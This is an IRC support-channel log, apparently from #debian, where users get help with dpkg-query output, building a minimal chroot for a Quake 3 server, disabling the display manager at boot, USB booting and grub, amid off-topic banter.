| 20:05.33 | dondelelcaro | ajavid: so what exactly is the problem? |
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| 20:05.48 | themill | ajavid: you have, of course, submitted a patch for the man page clearly explaining the output, haven't you? |
| 20:05.48 | ajavid | I still think its not as clearly documented |
| 20:05.55 | stew | ajavid: submit a patch |
| 20:05.56 | dondelelcaro | ajavid: if the issue is that dpkg-query's documentation isn't verbose enough about the output of the -l option, feel free to submit a patch against the documentation so that it's clear to you |
| 20:06.05 | ajavid | ok, fantastic |
| 20:06.06 | ajavid | :) |
| 20:06.42 | ranix | in lieu of that, please PM all complaints to abrotman |
| 20:06.52 | fxiny | abrotman: now is clear to me , but because of the conversation |
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| 20:07.02 | abrotman | fxiny: oh okay .. at least you understand :) |
| 20:07.07 | ajavid | ranix, wasn't hostility, was irrtitance as not being understood |
| 20:07.18 | fxiny | abrotman: heheh |
| 20:07.18 | ranix | ah, sorry sorry |
| 20:07.21 | abrotman | but everyone else understands! :) |
| 20:07.33 | ajavid | frusration rther, not irrtance |
| 20:07.35 | abrotman | even fxiny, and he doesn't speak english! |
| 20:07.36 | ajavid | i cant spell |
| 20:07.44 | ajavid | I don't speak english |
| 20:07.54 | abrotman | finally, he admits it ... |
| 20:08.01 | ajavid | I've always admited it |
| 20:08.24 | fxiny | abrotman: heheh yes ! ajavid confused me with his "pnrging" :P |
| 20:08.35 | fxiny | ajavid: ;) |
| 20:08.39 | ajavid | fxiny, what? I told you the right things, hark, confirmed! |
| 20:08.41 | ranix | better than lprnging maybe? |
| 20:09.05 | ajavid | fxiny, you know what I do when I dont study or program? I read debian docs... |
| 20:09.12 | fxiny | ajavid: wt4x ! i asked about pn and you said pu-rge |
| 20:09.16 | ajavid | fxiny, I don't read fiction or novels |
| 20:09.18 | ajavid | you know |
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| 20:09.35 | rvalles | so sad |
| 20:09.41 | rvalles | fiction's good. |
| 20:09.46 | ajavid | eh, overrated |
| 20:09.55 | rvalles | lies |
| 20:09.56 | dondelelcaro | fxiny: your desired state was Purge, and the current status is not installed |
| 20:10.03 | dondelelcaro | (and there aren't any errors) |
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| 20:10.18 | rvalles | you were just reading the wrong fiction |
| 20:10.22 | ajavid | fxiny, 3 teirs, all mean diff things |
| 20:10.28 | ajavid | 1 letter, 2 letter, 3 letter |
| 20:10.42 | abrotman | normally you don't see the third unless something bad has happened IIRC |
| 20:10.49 | ajavid | yup |
| 20:11.04 | fxiny | dondelelcaro: good , seen the daudit perl script ? i wonder if aptitude will have such a feature in the future :) |
| 20:11.13 | dondelelcaro | fxiny: what does it do? |
| 20:11.38 | dondelelcaro | fxiny: uh... aptitude already does that |
| 20:11.56 | fxiny | dondelelcaro: it compares installed packages to find say testing in stable and such |
| 20:12.26 | fxiny | dondelelcaro: it does that already ? very good :) |
| 20:12.30 | dondelelcaro | (granted, it's a rather complicated aptitude search string, but...) |
| 20:12.36 | fxiny | i like that |
| 20:12.50 | ajavid | themill, I apologize I got frustrated and then told you to.. you know.. my bad. |
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| 20:13.13 | ajavid | breath deeply...goosefraba |
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| 20:13.43 | themill | ajavid: I thought about getting dpkg to give you a coffee, but we should perhaps switch you to decaf for a while |
| 20:13.54 | ajavid | :) |
| 20:14.18 | ranix | .beer ajavid |
| 20:14.24 | ajavid | I don't drink. |
| 20:14.30 | CutMeOwnThroat | wrong channel, too :) |
| 20:14.32 | ranix | don't worry it's internet beer |
| 20:14.34 | ranix | !beer ajavid |
| 20:14.35 | dpkg | pours a litre of Jever for ajavid |
| 20:14.41 | ajavid | I don't drink intenet beer. |
| 20:14.46 | ajavid | alcohol = crap. |
| 20:14.52 | CutMeOwnThroat | internet beer... that's like internet sex? |
| 20:15.00 | ranix | exactly, CutMeOwnThroat |
| 20:15.01 | CutMeOwnThroat | whatever THAT is |
| 20:15.09 | CutMeOwnThroat | some day I'll find out... |
| 20:15.10 | ranix | you can die from it |
| 20:15.13 | ranix | I saw it on CSI |
| 20:15.42 | CutMeOwnThroat | the internet is such a snake pit |
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| 20:15.50 | fxiny | heheh |
| 20:15.52 | linXea | drinking beer break kernels ;) |
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| 20:19.01 | HellMind | How can make the minimun environment for chorroting lets say "ls" |
| 20:19.21 | ajavid | huh? |
| 20:19.48 | CutMeOwnThroat | yoda in convoulted ways speaks |
| 20:19.49 | HellMind | I want to run ls chrooted -_- |
| 20:19.59 | azeem | HellMind: ls is a bash-builtin, so figure out which library bash needs an install them |
| 20:20.04 | azeem | probably mostly libc |
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| 20:20.14 | CutMeOwnThroat | ls is NOT a builtin |
| 20:20.17 | asg | HellMind: ldd /bin/ls (you'll need the libraries), the binary, and any configs and devices the binary uses to exist in a similar tree structure to / |
| 20:20.19 | azeem | yeah right |
| 20:20.24 | CutMeOwnThroat | at least not in bash |
| 20:20.25 | azeem | I always mix up ls and cd |
| 20:20.33 | ajavid | its not bash |
| 20:20.35 | HellMind | The real question is , which are the minimun files to build an environment |
| 20:20.36 | ajavid | its in coreutils |
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| 20:21.11 | azeem | HellMind: do you want to write a scientific article about the minimum files, or do you want something usable? |
| 20:21.12 | ajavid | !wayttd HellMind |
| 20:21.12 | dpkg | What Are You Trying To Do, HellMind? |
| 20:21.14 | HellMind | Do I need /dev dir? |
| 20:21.22 | CutMeOwnThroat | perhaps http://www.debian.org/doc/manuals/reference/ch09.en.html#_chroot_system might be of some assistance |
| 20:21.23 | azeem | not for ls |
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| 20:21.27 | HellMind | im creating an environment for quake3 server |
| 20:21.32 | asg | HellMind: only if your binary requires device access |
| 20:22.04 | HellMind | network is a device? |
| 20:22.45 | HellMind | CutMeOwnThroat I dont know to build a FULL distro environment :( |
| 20:22.49 | HellMind | I just want to run a file |
| 20:23.06 | asg | HellMind: you can find out by using strace and ltrace if it opens any /dev files. Another option might be to use SELinux to audit what the binary is doing to help build a proper chroot. |
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| 20:23.12 | fxiny | ls chrooted ? minimum ? 2.7M with ls bash and strace |
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| 20:23.25 | HellMind | I dont want to waste space having many files duplicated |
| 20:23.58 | CutMeOwnThroat | HellMind, if you look a bit above there, there's also a package schroot try "apt-cache show schroot" which might be of interest |
| 20:24.04 | CutMeOwnThroat | I've not tried it myself, though |
| 20:24.05 | fxiny | 11 libs |
| 20:24.09 | HellMind | I got it |
| 20:24.12 | HellMind | CutMeOwnThroat |
| 20:24.19 | CutMeOwnThroat | or http://packages.debian.org/sid/schroot |
| 20:24.33 | HellMind | I got it but isnt what I need |
| 20:24.59 | HellMind | fist I want to have a runing ls environment then I will start s l tracing |
| 20:25.02 | HellMind | for q3ded |
| 20:25.18 | HellMind | thats why I want the minimun :( |
| 20:25.41 | HellMind | and an easy way to test it |
| 20:25.43 | CutMeOwnThroat | well, for ls you need /bin/ls and the stuff ldd /bin/ls shows you, I'd say |
| 20:25.52 | HellMind | rgr |
| 20:26.07 | HellMind | how can I runing ls to see if working? |
| 20:26.08 | CutMeOwnThroat | but it should be a hell lot more convenient to let some automated tools set up a basic environment for you than to do everything yourself |
| 20:26.18 | HellMind | I will need /bin/Bash? |
| 20:26.35 | CutMeOwnThroat | probably :) |
| 20:26.38 | fxiny | yes |
| 20:26.41 | HellMind | CutMeOwnThroat There are no small environment :( |
| 20:26.44 | fxiny | bash and strace |
| 20:26.49 | HellMind | why :( |
| 20:27.06 | CutMeOwnThroat | HellMind, size doesn't matter! |
| 20:27.13 | HellMind | I will build my own minimun environment to run games server |
| 20:27.20 | asg | CutMeOwnThroat: that's not what abrotman says |
| 20:27.32 | CutMeOwnThroat | actually, all files in your chroot can be hardlinks which won't take up ANY space |
| 20:27.56 | CutMeOwnThroat | there's also dchroot |
| 20:28.02 | CutMeOwnThroat | asg, it's not? |
| 20:28.33 | HellMind | if I do that then chrooting will be stupid |
| 20:28.57 | HellMind | dchroot what is the difference? |
| 20:29.25 | CutMeOwnThroat | also "makejail" |
| 20:29.38 | fxiny | nahhh , "by hand" |
| 20:29.39 | CutMeOwnThroat | now would it? |
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| 20:30.37 | HellMind | whats this linux-vdso.so.1 => (0x00007fff61dfe000) |
| 20:31.27 | abrotman | a library |
| 20:31.42 | CutMeOwnThroat | a runtime library? |
| 20:31.49 | CutMeOwnThroat | where did you pick that one up |
| 20:31.57 | HellMind | the first on of ldd ls |
| 20:31.58 | azeem | HellMind: which arch? |
| 20:32.03 | HellMind | i386 |
| 20:32.10 | HellMind | it doesnt say the place |
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| 20:32.23 | azeem | it's an internal thing |
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| 20:32.24 | CutMeOwnThroat | what version of Debian |
| 20:32.39 | HellMind | well isnt exactly debian ;) |
| 20:32.43 | azeem | ah cool |
| 20:32.46 | CutMeOwnThroat | then you're offtopic |
| 20:32.47 | azeem | that saves some trouble |
| 20:32.54 | CutMeOwnThroat | !next |
| 20:32.54 | dpkg | Another happy customer leaves the building. |
| 20:33.00 | abrotman | HellMind: what is it then? |
| 20:33.02 | HellMind | haha :D |
| 20:33.06 | HellMind | ubuntu server |
| 20:33.08 | CutMeOwnThroat | there's your trouble right away |
| 20:33.08 | HellMind | 8.04 |
| 20:33.09 | abrotman | go to #ubuntu |
| 20:33.17 | budo | dpkg i thought u were a bot |
| 20:33.17 | dpkg | budo: wish i knew |
| 20:33.21 | azeem | #ubuntu-server! |
| 20:33.23 | HellMind | I made a mistake with ubuntu :( |
| 20:33.27 | abrotman | whichever .. just not here |
| 20:33.28 | budo | hmm so you are a bot |
| 20:33.29 | azeem | they like talking about minimal quake servers |
| 20:33.37 | abrotman | budo: please leave the bot alone |
| 20:33.41 | CutMeOwnThroat | dpkg, bot |
| 20:33.41 | dpkg | I ain't no stinkin' bot. I am a finely tuned and hand crafted tool. Oh wait... I guess I am a bot (that you should not abuse). |
| 20:33.56 | budo | abrotman ? |
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| 20:34.16 | CutMeOwnThroat | he's also a bot |
| 20:34.27 | abrotman | Is it larger than a breadbox? |
| 20:34.34 | budo | o lawd |
| 20:34.34 | CutMeOwnThroat | hehe |
| 20:34.46 | jelly-hme | abrotman: confuse me |
| 20:34.56 | HellMind | ubuntu uses many deb pkgs |
| 20:35.02 | HellMind | so its ubuntu in a way |
| 20:35.06 | abrotman | jelly-hme: Your highness, Prince of Chicken with a side of carrots |
| 20:35.16 | abrotman | HellMind: we do not support any sort of ubuntu here |
| 20:35.30 | CutMeOwnThroat | No, what are your hamster yesterday, jelly-hme? Trousers of the Dictatorship of Liechtenstein with extra anchovies. |
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| 20:35.57 | fxiny | in which way ? wt4x ! i keep my jail safe from you :P |
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| 20:36.38 | HellMind | I got 1 ubuntu server, but many lenny |
| 20:36.48 | HellMind | lets talk about my lennis |
| 20:36.49 | HellMind | e |
| 20:36.56 | HellMind | chroot /srv/chroot/quake3/ -> chroot: cannot run command `/bin/bash': No such file or directory |
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| 20:37.30 | HellMind | if a lib is missing I will get that error? |
| 20:37.37 | abrotman | HellMind: this isn't funny, go to #ubuntu |
| 20:37.46 | HellMind | I GOT A LENNY! |
| 20:37.54 | abrotman | your problem is ubuntu |
| 20:37.58 | jelly-hme | I got a woody. |
| 20:38.03 | HellMind | Im also in there |
| 20:38.14 | HellMind | abrotman help me |
| 20:38.28 | abrotman | is about to help him to #ubuntu |
| 20:38.31 | CutMeOwnThroat | well, thank you for sharing, jelly-hme ... I guess |
| 20:38.33 | azeem | HellMind: please keep it on topic |
| 20:38.44 | fxiny | this fine jail i'm browsing is still a woody jail |
| 20:38.47 | jelly-hme | [22:38] ~ => cat /etc/issue |
| 20:38.48 | jelly-hme | Debian GNU/\s 3.0 \n \l |
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| 20:39.11 | HellMind | tiamat:~# cat /etc/issue |
| 20:39.11 | HellMind | Debian GNU/Linux 5.0 \n \l |
| 20:39.14 | jelly-hme | CutMeOwnThroat: compleatly authentic :-D |
| 20:39.25 | fxiny | so fine i bet can hold a LARGE quake server :P |
| 20:39.34 | jelly-hme | HellMind: dpkg -l libc6|tail -1 |
| 20:39.42 | abrotman | on the broken machine .. |
| 20:39.42 | HellMind | whats that :( |
| 20:39.57 | HellMind | ii libc6 2.7-18 GNU C Library: Shared libraries |
| 20:40.14 | jelly-hme | ok, so that one might be Debian |
| 20:40.14 | abrotman | he's just pulling crap from the debian box instead of the broken ubuntu machine |
| 20:40.15 | HellMind | what that ve to do with my chroot now found bash |
| 20:40.24 | HellMind | haha |
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| 20:40.38 | HellMind | I got many boxes |
| 20:40.49 | HellMind | I can run the quake server anywhere |
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| 20:40.56 | abrotman | HellMind: on the broken box, what does "uname -a" say? |
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| 20:41.13 | HellMind | Linux tiamat.mejorserver.com 2.6.26-2-686 #1 SMP Sun Jul 26 21:25:33 UTC 2009 i686 GNU/Linux |
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| 20:41.26 | fxiny | long way to go : ls master-jail/jail/lib/* | wc -l --> 11 ... |
| 20:41.30 | abrotman | so you've installed ubuntu packages on your debian box ? |
| 20:41.47 | HellMind | no :( |
| 20:41.54 | abrotman | so your debian box is fine? |
| 20:42.01 | HellMind | no! |
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| 20:42.08 | fxiny | pnrge it then |
| 20:42.29 | HellMind | well there are no problems on any boxs |
| 20:42.40 | abrotman | problem solved. |
| 20:42.40 | HellMind | I m just learning to chroot |
| 20:43.08 | HellMind | But chrooting using little space |
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| 20:43.26 | fxiny | yes 2.7 MB |
| 20:43.33 | HellMind | fxiny how? |
| 20:43.46 | fxiny | only for debian users |
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| 20:44.03 | HellMind | Im debian user , windows user, and ubuntu-server user! |
| 20:44.28 | adb_ | and troll ? |
| 20:44.54 | HellMind | you are unsecure about your debian if you say that to a mixed os user! |
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| 20:45.17 | azeem | HellMind: please keep it on topic |
| 20:45.21 | azeem | I think I mentioned this before |
| 20:45.46 | HellMind | tell them azeem |
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| 20:47.25 | jelly-hme | only knows how to run debootstrap, and base system isn't that small |
| 20:47.46 | HellMind | jelly-hme I KNOW -_- |
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| 20:48.01 | HellMind | There should be a way with debootstrap to make it small |
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| 20:48.18 | adb_ | cdebootstrap ? |
| 20:48.58 | HellMind | also if my system in 64 and I need to run only a 32b app |
| 20:49.09 | HellMind | should I copy the l32 libs only? |
| 20:49.38 | adb_ | man debootstrap , see --arch= |
| 20:49.44 | jelly-hme | HellMind: tried makejail or dchroot or any other package found with "apt-cache search chroot"? |
| 20:50.11 | CutMeOwnThroat | I said that to him! |
| 20:50.30 | jelly-hme | repetitio est mater stupidorum |
| 20:51.06 | CutMeOwnThroat | you made that one up |
| 20:51.16 | fxiny | wasn't iuvant ? |
| 20:51.19 | HellMind | adb_ I noo that --arch stuff I did that way but the size is too much |
| 20:51.21 | CutMeOwnThroat | looks accusingly at jelly-hme |
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| 20:52.33 | HellMind | why I should use those packages? |
| 20:52.39 | HellMind | when chroot can do it |
| 20:53.05 | jelly-home | ... |
| 20:53.39 | HellMind | also chat error I will get if any lib is missing? |
| 20:53.43 | jelly-home | HellMind: there are utilities to set up a chroot environment. You seem to have problems setting it up manually. |
| 20:54.04 | fxiny | error , ahh you know how |
| 20:54.22 | phorce1 | I have lenny installed with X and Gnome on an okd celeron 466. The graphics look great with no xorg.conf in /etc/X11. How can I determine what to put into xorg.conf to use the same graphics modes that it is now discovering automagically? (I need to have an xorg.conf for a special input device). |
| 20:54.31 | phorce1 | s/okd/old |
| 20:54.44 | CutMeOwnThroat | HellMind, why do you ask if you don't want answers? |
| 20:54.58 | HellMind | jelly-home say one pkg :( |
| 20:55.02 | CutMeOwnThroat | obviously you have one answer fixed in your mind and will not be satisfied until you get it |
| 20:55.15 | CutMeOwnThroat | but that's not how it works! |
| 20:55.26 | CutMeOwnThroat | you might like this one |
| 20:55.27 | fxiny | phorce1: http://wiki.debian.org/XStrikeForce/HowToRandR12 |
| 20:55.29 | CutMeOwnThroat | !chrooted base |
| 20:55.29 | dpkg | i heard chrooted base is "mkdir /tmp/debian; cd /tmp/debian; tar zxf <mirror>/debian/dists/unstable/main/disks-i386/current/base2_2.tgz; cp /etc/apt/sources.list etc/apt/; cp /etc/resolv.conf etc/; chroot `pwd` bin/sh; apt-get update; dpkg --purge lilo; yes '' | apt-get -y install build-essential" -- Joey Hess <mailto:joeyh@debian.org> |
| 20:55.32 | CutMeOwnThroat | or then, you might not |
| 20:56.08 | HellMind | I dont know the size of it? |
| 20:56.12 | justin | wow, how old is that factoid |
| 20:56.13 | HellMind | its the same as debootstrap |
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| 20:56.18 | justin | dpkg: factinfo chrooted base |
| 20:56.18 | dpkg | chrooted base -- created by NickB <nick@host1.nick.it.net.au> at Thu Aug 31 09:13:38 2000 (3273 days); it has been requested 6 times, last by CutMeOwnThroat, 49s ago. |
| 20:56.22 | jelly-home | HellMind: I don't know which one 100% or 50% works, and you were already told how to search for them. |
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| 20:56.27 | CutMeOwnThroat | not even 10 years old |
| 20:56.40 | justin | yeah.. I don't think debian has provided base tarballs since potato |
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| 20:56.48 | justin | thus the 'base2_2.tgz' |
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| 20:56.56 | CutMeOwnThroat | I wondered about that |
| 20:56.59 | HellMind | then tell me :( |
| 20:57.07 | CutMeOwnThroat | but damn, I'd like base tarballs |
| 20:57.12 | jelly-home | justin: hey, give it a rest, the factoid isn't even 10 years old! |
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| 20:57.16 | justin | some people still make them |
| 20:57.21 | justin | but most people just run debootstrap |
| 20:57.36 | CutMeOwnThroat | yeah, fresh as rain |
| 20:57.47 | CutMeOwnThroat | holds the factoid under a bit of tapwater to keep it fresh |
| 20:58.08 | CutMeOwnThroat | does the same to his saussages inna bun from time to time |
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| 21:01.38 | fxiny | a chroot/jail is a digital origami , learn how to do it |
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| 21:03.01 | HellMind | it isnt work |
| 21:03.08 | CutMeOwnThroat | folds fxiny into a little boat with a beautiful tiny bird perched on its mast |
| 21:03.09 | HellMind | why it says bash doesnt found |
| 21:03.21 | CutMeOwnThroat | perhaps because it couldn't find it? |
| 21:03.30 | CutMeOwnThroat | I'm such a genius |
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| 21:03.46 | HellMind | it couldn't find that prog? or the libs |
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| 21:04.04 | maligor | is there some option to make dpkg ignore postrm script errors |
| 21:04.17 | CutMeOwnThroat | not that I'm aware of |
| 21:04.22 | CutMeOwnThroat | you have to fix the postrm script |
| 21:04.24 | dondelelcaro | maligor: the option is to fix them |
| 21:04.40 | dondelelcaro | and/or file bugs about them |
| 21:04.43 | maligor | where are they located? |
| 21:04.51 | dondelelcaro | maligor: /var/lib/dpkg/info/foo.postrm |
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| 21:05.27 | maligor | thanks |
| 21:05.37 | HellMind | no one helps me |
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| 21:07.14 | HellMind | i will quit being a troll |
| 21:07.14 | fxiny | swiftly swings a rot13 back to skval and sinks CutMeOwnThroat boat |
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| 21:08.38 | HellMind | how can I get the size of a dir? |
| 21:08.53 | Hoxzer | du |
| 21:08.54 | ajavid | du |
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| 21:09.15 | fxiny | too easy , learn perl :P |
| 21:09.27 | HellMind | but just the current dir ones |
| 21:09.38 | HellMind | I hate when commands need argv |
| 21:09.46 | JPT | hehe |
| 21:09.57 | JPT | du -sh * (for all files and directories in the current one) |
| 21:10.27 | HellMind | my lenny environment is 190mB -_- |
| 21:10.38 | HellMind | i will copy file per file to check the damn |
| 21:11.26 | HellMind | the lenny bash says linux-gate.so.1 => (0xffffe000) |
| 21:11.29 | HellMind | whats that -_- |
| 21:11.35 | HellMind | that isnt ubuntu |
| 21:11.39 | fxiny | where ? you want 5 dirs : bin dev etc lib tmp |
| 21:11.49 | maligor | I think linux-gate.so.1 is kernel stuff |
| 21:11.52 | azeem | 22:31 < azeem> it's an internal thing |
| 21:12.08 | HellMind | then how I can copy it ? |
| 21:12.18 | azeem | obviously you can't |
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| 21:13.48 | jelly-home | HellMind: ignore that one |
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| 21:14.55 | HellMind | I will hard link everything and disable some dirs to see which is missing |
| 21:15.06 | fxiny | wrong |
| 21:15.11 | HellMind | and this is because you can tell me how to know which one is missing :( |
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| 21:15.16 | HellMind | then I will copy all |
| 21:15.24 | HellMind | and delete dir per dir |
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| 21:15.36 | HellMind | till the damn secret is revealed |
| 21:15.53 | fxiny | i think you will fail with /etc files , is pretty tricky there |
| 21:16.00 | HellMind | do i need that :D? |
| 21:16.08 | jelly-home | or you could use strace to see which files the process tries to access |
| 21:16.08 | fxiny | libs are easy to find |
| 21:16.11 | HellMind | nah I dont :( |
| 21:16.17 | HellMind | I just need bin an lib folder |
| 21:16.26 | HellMind | now it works |
| 21:16.29 | HellMind | I will start deleting |
| 21:16.44 | jelly-home | !tell HellMind -about enter |
| 21:16.50 | azeem | HellMind: did you try debootstrap --variant=minbase or something? |
| 21:16.55 | fxiny | deleting ? ohh you started from the roof ? |
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| 21:17.14 | HellMind | fxiny yep |
| 21:17.38 | HellMind | azeem minbase exist or you are making me waste my time looking for that :D? |
| 21:18.09 | HellMind | jelly-home Thank about enter |
| 21:18.54 | alexxio | hi all. i tried to disable X at boot (for making my pc run just with terminal)..but i googleed and found not working or very long and unuseful solution,..can you suggest me a simple way? |
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| 21:19.09 | azeem | !nodm |
| 21:19.09 | dpkg | Debian does not use a specific runlevel for graphical display managers by default. Just remove the dm package(s) with "apt-get remove xdm kdm wdm login.app gdm pdm slim". "update-rc.d -f xdm remove" and friends will also disable the dm until a package update is installed and the runlevel symlinks are restored. NEWSFLASH! echo "false" >/etc/X11/default-display-manager, or a temporary solution is to hit ctl-alt-fN to get to a console. |
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| 21:19.14 | HellMind | update-rc.d something |
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| 21:19.46 | maligor | how did the op stuff work _OzGuR- is doing on join porn ads |
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| 21:20.04 | yaaar | howdy |
| 21:20.13 | stew | maligor: thanks |
| 21:20.26 | HellMind | hehe now im having lenny on my ubuntu |
| 21:20.44 | maligor | stew, always exiting to see them k-lined :P |
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| 21:23.25 | alexxio | if i have a X session and do ctrl]alt]f2...do you think that my pc is saving energy like X session has not run at all? :) maybe it seems a bit idiot as a question, but i want to save energy and time at the same time lol :P |
| 21:24.05 | a-atwood_ | alexxio: X is still running on f7 |
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| 21:24.41 | alexxio | yes, but maybe the videocard is not working that way, is it? |
| 21:24.43 | a-atwood_ | only savings would be if screensaver powered the monitor down. (some do) |
| 21:24.58 | HellMind | ld-linux.so.2 this one was the missing |
| 21:24.59 | a-atwood_ | alexxio: yes. as long as machine is turned on |
| 21:25.10 | HellMind | when you dont have it, it says prog not found |
| 21:25.19 | HellMind | no lib not found |
| 21:25.32 | a-atwood_ | vid cpu might not be drawing as much current, but difference would be _tiny_ |
| 21:26.04 | HellMind | my environment is 1.3Mb :) |
| 21:26.11 | HellMind | take that jelly-belly |
| 21:26.31 | a-atwood_ | alexxio: now, if you took the vid card out, and used RS232 port, you would save energy. 8) 8). REAL computers have a serial console. 8) |
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| 21:27.18 | HellMind | do I really need /bin/bash ? |
| 21:27.44 | fxiny | HellMind: 1.3 ? no way . do you have bash in it ? how many conf files in /etc ? |
| 21:27.59 | HellMind | I dont got /etc -_- |
| 21:28.09 | HellMind | I dont need it |
| 21:28.09 | fxiny | seen ? is not f* working |
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| 21:28.20 | HellMind | its working |
| 21:28.48 | HellMind | maybe isnt work for you because you are in debian, and I'm in ubuntu-server |
| 21:29.14 | HellMind | so I will run my q3 on lenny within ubuntu |
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| 21:30.00 | fxiny | server means nothing to me |
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| 21:30.18 | fxiny | server is my apache , my postfix ... |
| 21:30.20 | HellMind | -server mean old pkgs |
| 21:30.31 | fxiny | is only marketing |
| 21:31.16 | fxiny | a real server needs a good admin |
| 21:31.26 | fxiny | no way anyone can buy a server |
| 21:31.31 | HellMind | you are wrong |
| 21:31.42 | HellMind | a good server needs a good admin |
| 21:31.51 | fxiny | me ? i don't think so , i am a user |
| 21:31.55 | azeem | -server means something specific because the support is longer term for that limited set of packages |
| 21:32.31 | jigpe | im not a good admin.so then ill quit debian |
| 21:32.44 | jigpe | im noob |
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| 21:33.07 | HellMind | jigpe nah, just your server isnt gonna be good, maybe evil |
| 21:33.54 | a-atwood_ | HellMind: Evil server comes with being BOFH |
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| 21:34.20 | HellMind | BOFH? Buffer Over Flow Hero? |
| 21:34.44 | a-atwood_ | B****** Operator From Hell |
| 21:34.50 | HellMind | haha |
| 21:35.28 | fxiny | no , a real server is not a -server , that's marketing |
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| 21:35.44 | moldy | hi |
| 21:36.10 | moldy | http://www.debian.org/doc/packaging-manuals/python-policy/ is that document available in another format, such as PDF? |
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| 21:36.50 | alexxio | what aptitude command should i type if i want to search what package contains wavrec? |
| 21:36.53 | a-atwood_ | fxiny: heh. the u* -servers just have a slower release cycle than the desktop system. Kind of like "we don't ship 'til it MOSTLY works" |
| 21:36.53 | HellMind | Where that hate for ubuntu come? |
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| 21:37.19 | Titan8990 | !tell HellMind about ubuntu |
| 21:37.20 | Jangal | I have installed debian on flash memory stick but laptop can't boot from it. Can I start it using debian installation cd? |
| 21:37.31 | Jangal | How? |
| 21:37.49 | Jangal | I mean I insert cd, flash. Boot from CD and from it start flash and boot up |
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| 21:38.06 | Titan8990 | how did you install it? |
| 21:38.18 | HellMind | Titan8990 that doesn't say nothing about the hate |
| 21:38.24 | a-atwood_ | Jangal: if you boot the cd, why would you switch to the flash? |
| 21:38.41 | Jangal | I have everything I need there |
| 21:38.53 | azeem | HellMind: it's off-topic |
| 21:39.06 | HellMind | ok :( |
| 21:39.11 | Titan8990 | HellMind, the distaste for ubuntu probably stems from the fact that A) its not as good as distro, debian for example B) tons of idiots still use it anyways |
| 21:39.24 | Titan8990 | and like azeem said, it is OT and the discussion should end there |
| 21:39.41 | Jangal | Hard drive for my home router/fileserver died. And I want to start it from flash so at least router (wifi ap) works. |
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| 21:40.03 | Titan8990 | Jangal, how did you install it? |
| 21:40.05 | Jangal | so I installed debian on flash drive using debootstrap |
| 21:40.15 | Jangal | then chrooted to it |
| 21:40.22 | Jangal | and installed everything I need |
| 21:40.41 | Titan8990 | boot up a live cd and install grub on it |
| 21:40.42 | Jangal | I can boot from this PC but can't from laptop that I use as router |
| 21:40.55 | CutMeOwnThroat | It's not hate... it's like azeem says, it's just offtopic here... the hate is for the people who don't respect that, I guess |
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| 21:40.56 | Jangal | on what? |
| 21:41.09 | Titan8990 | Jangal, on the flash stick |
| 21:41.19 | CutMeOwnThroat | Jangal, is it your laptop and what is it running? |
| 21:41.21 | Titan8990 | Jangal, i assume grub is installed jut not in the MBR |
| 21:41.41 | Jangal | hard drive is dead. and grub on flash stick works |
| 21:41.49 | Jangal | bios don't like my flash stick |
| 21:41.56 | Jangal | that is why I can't boot from it |
| 21:42.00 | Jangal | only from HDD or CD/DVD |
| 21:42.07 | CutMeOwnThroat | !rescue mode |
| 21:42.07 | dpkg | Debian Installer has a recovery ('rescue') mode, which can be used to reinstall the GRUB or LILO boot loaders. See section 8.7 of the Installation Guide ("Recovering a Broken System") for more details; ask me about <install guide>. Etch users: Additional steps are required if you are using encrypted LVM, see http://wiki.debian.org/DebianInstaller/Rescue/Crypto |
| 21:42.17 | CutMeOwnThroat | I guess |
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| 21:42.52 | CutMeOwnThroat | oh, right - else I found a neat tool to put in your MBR which allows you to boot from USB sticks on machines that don't support booting from usb |
| 21:43.08 | CutMeOwnThroat | but I forgot the exact name and I won't bother trying to find it again if it's not useful for you anyway :) |
| 21:43.46 | fxiny | a-atwood_: seen ? they talk about hate |
| 21:44.01 | fxiny | HellMind: hate is a waste of energy , we don't hate |
| 21:44.03 | CutMeOwnThroat | LOVE/HATE |
| 21:44.09 | CutMeOwnThroat | sounds like a tattoo |
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| 21:44.22 | fxiny | HellMind: because we are busy |
| 21:44.22 | Jangal | I hate that I have to buy new HDD for that old piece of shit laptop |
| 21:44.37 | Jangal | it is ide :| |
| 21:44.39 | fxiny | and i'm still a user , try to imagine a dd |
| 21:44.49 | phorce1 | He has everything he needs on the USB stick. He cannot boot from the USB stick even with grub installed on it. He has no working hard drive in the machine that needs to be booted from the USB stick. Jangal, how about a floppy drive? |
| 21:44.51 | fxiny | read the news ... |
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| 21:45.16 | Jangal | phorce1, I have bootable CD |
| 21:45.18 | Jangal | it works |
| 21:45.31 | Jangal | Can I start my flash stick from it? |
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| 21:45.44 | Jangal | load kernel that is on flash stick from live cd |
| 21:45.45 | Jangal | how? |
| 21:45.50 | Titan8990 | Jangal, you know, you should just be restoring from your most recent backup..... |
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| 21:46.08 | Titan8990 | Jangal, you can edit the grub configuration from the grub menu w/ the "e" key |
| 21:46.11 | Jangal | It is late here. I won't get new hdd for some time :D |
| 21:46.16 | phorce1 | Jangal: the CD uses syslinux which I don't think will allow you to specify a different boot device. |
| 21:46.26 | Jangal | ok |
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| 21:47.35 | CutMeOwnThroat | the install cd uses syslinux? |
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| 21:48.32 | phorce1 | Jangal: but, if you wrote "everything you need" to the USB stick for a complete, bootable, system then why not just write "everything you need" to another bootable CD? Boot the kernel and initrd that you need from the CD. |
| 21:48.50 | phorce1 | CutMeOwnThroat: I think so -- I'll have to mount the CD and look. |
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| 21:50.07 | phorce1 | CutMeOwnThroat: sorry, isolinux |
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| 21:50.20 | Dakylla | hi |
| 21:50.46 | Dakylla | i have grub on stable (lenny) choosing the wrong root device on update |
| 21:50.57 | Dakylla | how can i solve this plz ? |
| 21:51.13 | CutMeOwnThroat | that's part of syslinux, though |
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| 21:51.40 | CutMeOwnThroat | again |
| 21:51.43 | CutMeOwnThroat | !rescue mode |
| 21:51.44 | dpkg | Debian Installer has a recovery ('rescue') mode, which can be used to reinstall the GRUB or LILO boot loaders. See section 8.7 of the Installation Guide ("Recovering a Broken System") for more details; ask me about <install guide>. Etch users: Additional steps are required if you are using encrypted LVM, see http://wiki.debian.org/DebianInstaller/Rescue/Crypto |
| 21:52.08 | Dakylla | CutMeOwnThroat: was that for me ? |
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| 21:52.11 | Titan8990 | everyone should have a systemrescuecd handy always |
| 21:52.14 | Titan8990 | Dakylla, yes |
| 21:52.37 | Dakylla | taht's not what a need |
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| 21:52.58 | e1z0 | hi |
| 21:53.00 | Dakylla | i can correct manually and select my root device |
| 21:53.39 | Dakylla | but on every grub-update, grub take the wrong boot device when updating menu.lst |
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| 21:53.58 | e1z0 | i can't compile curl-7.19.5 on debian lenny (x64), it says lib/libssl.a(s2_clnt.o): relocation R_X86_64_32 against `a local symbol' can not be used when making a shared object; recompile with -fPIC |
